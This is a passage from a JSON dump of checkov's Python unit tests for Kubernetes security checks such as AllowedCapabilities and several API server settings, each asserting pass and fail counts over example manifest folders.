    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.AllowedCapabilities import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAllowedCapabilities(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowedCapabilities\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"CronJob.default.hello\",\n            \"Deployment.default.my-nginx\",\n        }\n        failing_resources = {\n            \"StatefulSet.default.cassandra\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_AllowedCapabilitiesPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.AllowedCapabilitiesPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAllowedCapabilitiesPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_AllowedCapabilitiesSysAdmin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.AllowedCapabilitiesSysAdmin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAllowedCapabilitiesSysAdmin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AllowedCapabilitiesSysAdmin\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAdmissionControlAlwaysAdmit.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAdmissionControlAlwaysAdmit import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAdmissionControlAlwaysAdmit(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerAdmissionControlAlwaysAdmit\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAdmissionControlEventRateLimit.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAdmissionControlEventRateLimit import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAdmissionControlEventRateLimit(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerAdmissionControlEventRateLimit\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAlwaysPullImagesPlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAlwaysPullImagesPlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAlwaysPullImagesPlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerAlwaysPullImagesPlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        \n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAnonymousAuth.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAnonymousAuth import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAnonymousAuth(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerAnonymousAuth\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuditLog.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuditLog import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerProfiling(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuditLog\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-pass\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuditLogMaxAge.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxAge import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAuditLogMaxAge(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuditLogMaxAge\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-pass\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuditLogMaxBackup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxBackup import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerProfiling(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuditLogMaxBackup\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-pass\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-missing\",\n            \"Pod.kube-system.kube-apiserver-low\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuditLogMaxSize.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuditLogMaxSize import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAuditLogMaxSize(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuditLogMaxSize\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-pass\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-missing\",\n            \"Pod.kube-system.kube-apiserver-low\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuthorizationModeNode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeNode import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAuthorizationModeNode(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuthorizationModeNode\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-pass\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-missing\",\n            \"Pod.kube-system.kube-apiserver-no-mode\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuthorizationModeNotAlwaysAllow.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeNotAlwaysAllow import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAuthorizationModeNotAlwaysAllow(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuthorizationModeNotAlwaysAllow\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-no-mode\",\n            \"Pod.kube-system.kube-apiserver-no-allow\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-allow\",\n            \"Pod.kube-system.kube-apiserver-extra-allow\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerAuthorizationModeRBAC.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerAuthorizationModeRBAC import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerAuthorizationModeRBAC(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerAuthorizationModeRBAC\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-enabled\",\n            \"Pod.kube-system.kube-apiserver-extra-enabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-no-mode\",\n            \"Pod.kube-system.kube-apiserver-no-rbac\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerBasicAuthFile.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerBasicAuthFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerProfiling(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerBasicAuthFile\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerEncryptionProviders.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerEncryptionProviders import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerEncryptionProviders(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerEncryptionProviders\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerEtcdCaFile.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerEtcdCaFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerEtcdCaFile(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerEtcdCaFile\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerEtcdCertAndKey.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerEtcdCertAndKey import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerEtcdCertAndKey(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerEtcdCertAndKey\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-both-keys\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-single-key\",\n            \"Pod.kube-system.kube-apiserver-no-key\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerInsecureBindAddress.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerInsecureBindAddress import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerInsecureBindAddress(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerInsecureBindAddress\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerInsecurePort.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerInsecurePort import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerInsecureBindAddress(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerInsecurePort\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerKubeletClientCertAndKey.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerKubeletClientCertAndKey import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerKubeletClientCertAndKey(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerKubeletClientCertAndKey\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-key-and-cert\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-no-key\",\n            \"Pod.kube-system.kube-apiserver-both-missing\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerKubeletHttps.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerKubeletHttps import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass ApiServerKubeletHttps(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerKubeletHttps\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-default\",\n            \"Pod.kube-system.kube-apiserver-enabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerNamespaceLifecyclePlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerNamespaceLifecyclePlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerNamespaceLifecyclePlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerNamespaceLifecyclePlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerNodeRestrictionPlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerNodeRestrictionPlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerNodeRestrictionPlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerNodeRestrictionPlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerPodSecurityPolicyPlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerPodSecurityPolicyPlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerPodSecurityPolicyPlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerPodSecurityPolicyPlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerProfiling.py",
